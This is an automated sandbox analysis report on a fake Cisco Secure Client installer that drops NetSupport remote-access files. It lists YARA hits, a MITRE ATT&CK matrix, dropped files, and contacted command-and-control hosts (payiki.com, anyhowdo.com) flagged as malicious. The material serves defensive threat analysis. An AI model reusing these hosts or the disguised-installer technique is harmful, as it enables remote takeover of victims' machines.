Source: Yara match	File source: 7.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.688b0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.688b0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.68890000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.68890000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.68890000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.111b3308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.68590000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1983117246.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2189669515.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.2183700917.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.2102185097.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2284925440.0000000005207000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4142059175.0000000002648000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2043735068.000000000883E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2104099900.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4141174786.0000000000404000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2285282850.0000000005226000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Cisco\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Network Sniffing	11 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	3 Native API	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	11 Software Packing	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	11 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Search Order Hijacking	LSA Secrets	1 Network Sniffing	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Masquerading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	151 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	31 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	3 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CiscoSetup.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\is-AB2VI.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\InstallHelper64.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\acdownloader.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-LMS1D.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\ProxyCon.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui_toast.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-0667M.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-FCDNQ.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\csc_ui_setup.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\is-V7O6A.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\csc_ui_toast.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-8QMTQ.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\is-BSCSU.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\Uninstall.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\VACon64.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\WebView2Loader.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\ac_sock_fltr_api.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscocrypto.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acciscossl.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\accurl.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acextwebhelper.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acfeedback.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acruntime.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acsock64.sys (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\acwebhelper.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_chrono.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_date_time.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_filesystem.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_system.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\boost_thread.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\cfom.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\concrt140.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0E14V.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-0IGCD.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-139DF.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-13C42.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-24FVM.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-2J33H.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3H81M.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-3MUNV.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-42UFL.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-6FEVR.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7A47V.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-7ARTU.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-9JGUE.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-BKQ26.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C8R9M.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-C9M46.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-DSLII.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-FRTV6.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-GKS0T.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HI577.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-HL1L8.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K8IRC.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-K9DFT.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-KC1BF.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LO7QV.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-LU7CG.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-M1NCB.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-MJ3RA.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-N867I.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O6HT8.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O7USL.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-O8UOD.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-PS1DU.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-Q67GI.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-QC4EE.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-RJSOM.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T3UDO.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-T40JR.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-ULT5V.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\is-UP6H5.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_1.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\msvcp140_2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vccorlib140.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vcruntime140.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagent.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnagentutilities.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapi.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnapishim.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncli.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommon.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpncommoncrypt.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpndownloader.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnipsec.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnmgmttun.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\vpnva64-6.sys (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\Cisco Secure Client\zlib1.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\Cisco\is-BOBU7.tmp	0%	ReversingLabs
C:\Program Files (x86)\Cisco\unins000.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-D93RQ.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Cisco\AudioCapture.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Cisco\HTCTL32.DLL	3%	ReversingLabs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
payiki.com	151.236.16.15	true	true	unknown
geo.netsupportsoftware.com	172.67.68.212	true	false	unknown
anyhowdo.com	199.188.200.195	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://151.236.16.15/fakeurl.htm	true	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false	unknown
http://199.188.200.195/fakeurl.htm	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	CiscoSetup.exe	false		unknown
http://%s/testpage.htmwininet.dll	powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	false		unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
http://ocsp.sectigo.com0	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	false		unknown
http://crl.microsoft	powershell.exe, 00000005.00000002.2043622253.00000000087D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109302873.000000001118F000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190511917.000000001118F000.00000002.00000001.01000000.0000000B.sdmp	false		unknown
http://%s/testpage.htm	powershell.exe, 00000005.00000002.1991259471.0000000005357000.00000004.00000800.00020000.00000000.sdmp, client32.exe, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.immunet.comVoor	CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://%s/fakeurl.htm	client32.exe, client32.exe, 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmp	false		unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	powershell.exe, 00000005.00000002.1991259471.00000000051B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.00000000051BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.1991259471.0000000004D21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.remobjects.com/ps	CiscoSetup.exe, 00000000.00000003.1688495970.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.exe, 00000000.00000003.1688004235.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000000.1690462646.0000000000481000.00000020.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.innosetup.com/	CiscoSetup.exe, 00000000.00000003.1688495970.000000007EF3B000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.exe, 00000000.00000003.1688004235.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, CiscoSetup.tmp, 00000001.00000000.1690462646.0000000000481000.00000020.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false		unknown
http://www.netsupportschool.com/tutor-assistant.asp11(	client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	false		unknown
https://www.iminunet.comPara	CiscoSetup.tmp, 00000001.00000003.2076122927.0000000005660000.00000004.00001000.00020000.00000000.sdmp, is-1V30U.tmp.1.dr	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1991259471.0000000004D21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	false		unknown
https://www.cisco.com	CiscoSetup.exe, 00000000.00000003.2094322756.0000000000ED3000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.cisco.comQ9	CiscoSetup.tmp, 00000001.00000003.2087307462.00000000029BC000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2009549925.0000000006786000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.cisco.com/c/en/us/td/docs/security/vpn_client/anyconnect/anyconnect40/user/guide/b_Androi	is-C1171.tmp.1.dr	false		unknown
http://www.pci.co.uk/support	client32.exe, 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 00000008.00000002.2109384742.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp, client32.exe, 0000000A.00000002.2190553256.00000000111DD000.00000004.00000001.01000000.0000000B.sdmp	false		unknown
https://sectigo.com/CPS0	powershell.exe, 00000005.00000002.1991259471.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000005259000.00000004.00000800.00020000.00000000.sdmp, TCCTL32.DLL.5.dr	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.1991259471.0000000005677000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1991259471.0000000004E73000.00000004.00000800.00020000.00000000.sdmp	false		unknown
